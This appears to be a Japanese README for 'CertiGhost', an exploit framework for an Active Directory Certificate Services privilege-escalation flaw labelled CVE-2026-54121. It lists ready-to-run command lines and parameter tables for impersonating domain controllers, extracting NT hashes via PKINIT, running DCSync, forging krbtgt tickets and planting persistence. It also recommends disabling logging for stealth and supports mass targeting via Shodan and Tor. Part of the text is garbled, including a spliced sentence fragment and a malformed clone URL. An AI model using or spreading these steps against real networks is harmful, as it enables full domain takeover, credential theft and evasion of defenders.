
👻 CVE-2026-54121 - 最高のCertiGhost AD CS Multi-Exploit Framework | 不正なDC/LDAPサーバー、証明書の悪用、PKINITハッシュ抽出を備えた高度なツールキット。特徴: 検出(安全チェック)、完全なマルチスレッドエクスプロイト。🛡️ CVSS 8.8 高 - 倫理的に使用し、法律を遵守してください。🔒

エクスプロイトフレームワーク&監査ツールキット
許可されたセキュリティテスト専用です。
このツールは、教育および許可されたペネトレーションテストの目的でのみ提供されています。 著者および貢献者は、このソフトウェアの誤用またはそれによって引き起こされた損害について一切責任を負いません。ユーザーは、テスト前にターゲット所有者から明示的な書面による許可を得ていることを確認する単独の責任を負います。コンピューターシステムへの不正アクセスは、該当する連邦法、州法、および国際的なサイバー犯罪法の下で違法です。
本ソフトウェアを使用することにより、あなたは以下に同意したものとみなされます:
⚠️ 警告: Active Directoryの権限昇格の脆弱性は、エンタープライズインフラストラクチャに高いリスクをもたらします。許可のないテストは固く禁止されています。
CVE-2026-54121(**「Certighost」と呼ばれる)は、Microsoft Active Directory証明書サービス(AD CS)における権限昇格(EoP)**脆弱性です。低権限のドメインユーザーがドメインコントローラーのマシンアカウントになりすまし、証明書偽造を介して完全なドメイン管理者乗っ取りを達成できるようにします。
CWE-285)に起因します。DCSync操作を実行します。detect_ipを削除し、ロギングと出力を無効にすることをお勧めします。このバージョンでは**「stealthcert.py」**を使用してください。git clone https://tc4dy/CVE-2026-54121-PoC-Exploit
#install requirements
# Auto-discovers CA via LDAP, creates temp computer, spawns rogue servers, requests certificate with cdc redirect, extracts DC's NT hash via PKINIT, enables DCSync for domain takeover
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10
# Impersonates a specific Domain Controller (DC01$). Useful when you know exactly which DC to target. Bypasses auto-discovery
python3 certighost.py -d corp.local -u user -p Passw0rd --dc-ip 10.0.0.1 --target-san DC01$
# Uses NTLM hash instead of password. Works when password is unknown but hash is obtained. ':' before hash = empty LM hash
python3 certighost.py -d domain.local -u admin --hashes :8846f7eaee8fb117ad06bdd830b7586c --dc-ip 192.168.1.10
# Bypasses LDAP CA discovery. Uses explicitly provided CA IP and name. Useful when LDAP is restricted or CA is on different subnet
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10 --ca-ip 192.168.1.20 --ca "PLAYGROUND-CA"
# Native LDAP query to check if AD CS is present. Returns CA name and DNS. Read-only, safe for production. No exploitation performed
.\CertiGhost.ps1 -d playground.local --dc-ip 192.168.1.10 --username lowpriv -p Password123 --detect
# Runs native AD CS detection then calls Python certighost.py with all parameters. Requires certighost.py in same directory. Prints NT hash and ccache file
.\CertiGhost.ps1 -d corp.local --dc-ip 10.0.0.1 --username attacker -p P@ssw0rd --exploit --target-account DC01$
#Detection only mode. Saves results in JSON format. Useful for automation, reporting, and integration with other security tools
.\CertiGhost.ps1 -d domain.local --dc-ip 192.168.1.10 --username user -p pass --detect -o results.json
この脆弱性は、Active Directory証明書サービス(AD CS)の証明書登録プロセスにおける不適切な認可および検証チェック(CWE-285)に起因します。低権限のドメイン資格情報を持つ攻撃者は、ターゲットリダイレクションパラメータを操作して、認証局(CA)に不正なエンドポイントに対してID検証を実行させることができます。
脆弱なエンドポイント/リクエストコンテキスト:
POST /certsrv/mscep/mscep.dll HTTP/1.1
Host: ca-server.domain.local
Content-Type: application/x-www-form-urlencoded
... (Certificate Request payload with manipulated target/cdc parameters)
チェースターゲット操作: 攻撃者は証明書リクエスト内のターゲットリダイレクションパラメータ(cdc / チェースターゲットなど)を改ざんし、認証局(CA)に検証トラフィックを指定したエンドポイントへルーティングさせます。
不正サーバーリダイレクション: 認証局(CA)は、ターゲットが正当かつ認可されたドメインコントローラーであるかどうかを検証せずに、クライアントが指定した宛先へのLDAPまたはSMB接続を開始します。
DC ID偽造と証明書発行: 攻撃者が制御する不正サーバーは、CAが対象のドメインコントローラーアカウントに代わって発行した検証クエリに応答します。この応答に基づき、CAはドメインコントローラーのIDを持つ有効な署名済み証明書を発行します。
取得したドメインコントローラー証明書を使用して、PKINIT(Public Key Cryptography for Initial Authentication)経由でKerberos認証を実行し、高権限のTGTを取得します。
ドメインコントローラー権限を持つKerberosチケットを使用して、Active Directoryデータベース内の全アカウント(例: krbtgt、Administrator)のパスワードハッシュがDCSyncテクニックを使用して抽出されます。
krbtgtアカウントのパスワードハッシュを使用して、オンデマンドでTGTを偽造します。msDS-KeyCredentialLink属性に不正な証明書キーを追加し、永続的なアクセスを確保します。| 属性 | 値 |
|---|
| 📅 発見/パッチ適用 | 2026年7月(Microsoftパッチチューズデー) |
| ⚠️ CVSSスコア | 8.8(高) |
| 🏷️ コードネーム | Certighost |
| 🎯 影響を受ける製品 | Microsoft Active Directory証明書サービス |
| 🔄 修正バージョン | 2026年7月セキュリティ更新プログラム |
| 🔓 認証 | 低権限ドメインアカウント |
| 🌍 影響 | Active Directoryドメイン全体の侵害 |
| パラメータ | 説明 | 例 |
|---|
-d, --domain | ターゲットドメインのDNS名(必須) | -d playground.local |
-u, --username | 低権限ドメインユーザー(必須) | -u lowpriv |
-p, --password | ユーザーパスワード | -p Password123 |
-H, --hashes | NTLMハッシュ [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--dc-ip | ドメインコントローラーIP(必須) | --dc-ip 192.168.1.10 |
--ca-ip | 認証局(CA)IP(オプション) | --ca-ip 192.168.1.20 |
--ca | CA名(未設定の場合は自動検出) | --ca "PLAYGROUND-CA" |
--listener | 不正サーバー用の攻撃者IP | --listener 192.168.1.100 |
--target-san | なりすまし対象のコンピューターアカウント(例: DC01$) | --target-san DC01$ |
--template | 証明書テンプレート(デフォルト: Machine) | --template Machine |
--computer-name | 既存のコンピューターアカウント名($付き) | --computer-name GHOSTABCD$ |
--computer-pass | 既存のコンピューターパスワード | --computer-pass CGabc123... |
--computer-hash | 既存のコンピューターNTハッシュ | --computer-hash 8846f7ea... |
--use-ldap | LDAPS(636)の代わりにLDAP(389)を使用 | --use-ldap |
--exploit | エクスプロイトを実行 | --exploit |
--detect | 検出のみ(エクスプロイトなし) | --detect |
-t, --threads | 一括スキャンの最大スレッド数 | -t 10 |
--timeout | リクエストごとのタイムアウト(秒) | --timeout 10 |
--retry | 失敗時のリトライ回数 | --retry 3 |
--delay | リクエスト間の基本遅延 | --delay 1.0 |
--proxy | プロキシURL | --proxy http://127.0.0.1:8080 |
--no-verify | SSL検証を無効化 | --no-verify |
--tor | Torプロキシを使用(socks5h://127.0.0.1:9050) | --tor |
-o, --output | 出力ファイル(.json、.csv、.jsonl) | -o results.json |
-v, --verbose | 詳細出力 | -v |
-q, --quiet | クワイエットモード | -q |
-h, --help | ヘルプを表示 | -h |
| パラメータ | 説明 | 例 |
|---|
-t, --target | ターゲットCAのIPまたはホスト名(必須) | -t 192.168.1.20 |
-d, --domain | ターゲットドメインのDNS名(必須) | -d playground.local |
--dc-ip | ドメインコントローラーIP(必須) | --dc-ip 192.168.1.10 |
-u, --username | 低権限ドメインユーザー(必須) | -u lowpriv |
-p, --password | ユーザーパスワード | -p Password123 |
-H, --hashes | NTLMハッシュ [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--computer-name | 既存のコンピューターアカウント名($付き) | --computer-name GHOSTABCD$ |
--computer-pass | 既存のコンピューターパスワード | --computer-pass CGabc123... |
--computer-hash | 既存のコンピューターNTハッシュ | --computer-hash 8846f7ea... |
--target-account | なりすまし対象のアカウント(例: DC01$) | --target-account DC01$ |
--template | 証明書テンプレート(デフォルト: Machine) | --template Machine |
--listener | 不正サーバー用の攻撃者IP(未設定の場合は自動検出) | --listener 192.168.1.100 |
--use-ldap | LDAPS(636)の代わりにLDAP(389)を使用 | --use-ldap |
--keep-files | .pfxおよび.ccacheファイルを保持(デフォルト: 削除) | --keep-files |
-h, --help | ヘルプを表示 | -h |
| パラメータ | 説明 | 例 |
|---|
-u, --url | ターゲットCAのIPまたはホスト名 | -u 192.168.1.20 |
-l, --list | ターゲットを含むファイル(1行に1つ) | -l targets.txt |
--shodan | Shodanからターゲットを読み込む | --shodan |
--shodan-query | Shodan検索クエリ | --shodan-query "AD CS Certificate" |
-d, --domain | ターゲットドメインのDNS名(必須) | -d playground.local |
--dc-ip | ドメインコントローラーIP(必須) | --dc-ip 192.168.1.10 |
--username | 低権限ドメインユーザー(必須) | --username lowpriv |
-p, --password | ユーザーパスワード | -p Password123 |
-H, --hashes | NTLMハッシュ [LM:]NT | -H :8846f7ea... |
--computer-name | 既存のコンピューターアカウント名($付き) | --computer-name GHOSTABCD$ |
--computer-pass | 既存のコンピューターパスワード | --computer-pass CGabc123... |
--computer-hash | 既存のコンピューターNTハッシュ | --computer-hash 8846f7ea... |
--target-account | なりすまし対象のアカウント(例: DC01$) | --target-account DC01$ |
--template | 証明書テンプレート(デフォルト: Machine) | --template Machine |
--listener | 不正サーバー用の攻撃者IP | --listener 192.168.1.100 |
--use-ldap | LDAPS(636)の代わりにLDAP(389)を使用 | --use-ldap |
--exploit | エクスプロイトを実行 | --exploit |
--detect | 検出のみ(エクスプロイトなし) | --detect |
-t, --threads | 一括スキャンの最大スレッド数 | -t 10 |
--timeout | リクエストごとのタイムアウト(秒) | --timeout 10 |
--retry | 失敗時のリトライ回数 | --retry 3 |
--delay | リクエスト間の基本遅延 | --delay 1.0 |
--proxy | プロキシURL | --proxy http://127.0.0.1:8080 |
--no-verify | SSL検証を無効化 | --no-verify |
--tor | Torプロキシを使用 | --tor |
-o, --output | 出力ファイル(.json、.csv、.jsonl) | -o results.json |
-v, --verbose | 詳細出力 | -v |
-q, --quiet | クワイエットモード | -q |
-h, --help | ヘルプを表示 | -h |